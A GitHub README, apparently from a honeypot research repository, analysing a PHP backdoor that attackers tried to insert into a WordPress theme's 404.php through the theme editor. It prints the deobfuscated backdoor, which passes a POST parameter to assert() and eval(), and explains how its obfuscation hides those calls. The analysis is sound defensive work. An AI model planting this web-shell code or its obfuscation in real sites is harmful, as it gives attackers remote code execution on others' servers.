Skip to content

Latest commit

 

History

History

README.md

404.php backdoor

An obscured code executing backdoor hidden in a theme's 404.php file. Might execute the code sent to it twice.

Origin

IP Address 118.184.47.13

inetnum:        118.184.0.0 - 118.184.63.255
netname:        ANCHNET
descr:          Shanghai Anchnet Network Technology Stock Co.,Ltd
country:        CN
last-modified:  2017-12-11T03:07:27Z

Download

It looks like the attacker(s) wanted to update the 404.php file of the TwentyTwelve theme. They used the "update" action of WordPress' builtin theme editor. Luckily, my WordPress honey pot emulates the update action reasonably well.

Deobfuscation

Part of the code used a simple substr_replace() call to change "axxxert" to "assert", then call PHP's assert() builtin indirectly. The attacker(s) applied no further encoding.

The second code block used PHP's chr() builtin to go from 3 integers to the string "chr". Assigning "chr" to a variable, the code constructs strings "create_function", and "eval($_POST[1]);" by calling chr() using that variable and decimal values of ASCII characters. This obscures the existance of "eval" and "create_function" calls, which are indicators of compromising code.

Analysis

The actual backdoor code, after deobfuscation:

<?php
$a = substr_replace("axxxert", "ss", 1, 3);
$a($_POST['1']);
$_ = create_function("", 'eval($_POST[1]);');
@$_();
  • It uses PHP's assert() builtin to execute the value of HTTP parameter named "1"
  • It uses PHP's eval() builtin to execute the value of HTTP parameter named "1"

Confusingly, for PHP 5.x, it would try to execute PHP source twice.

For PHP 7.x, the semantics of assert() have changed. You can no longer get it to execute code like that.

This looks like a backdoored backdoor. The first block of code, using assert(), has surrounding <?php and ?> markers. The second block of code has the <? short form open tag. The short form open tag is somewhat less portable: some PHP installations disable it.

In any case, it appears that the attacker(s) would cause code sent in an HTTP POST request as a parameter named "1" to execute twice. This is either really bad code, or it's compromised to begin with. The later doesn't make complete sense, as both executions would use the same HTTP parameter's contents.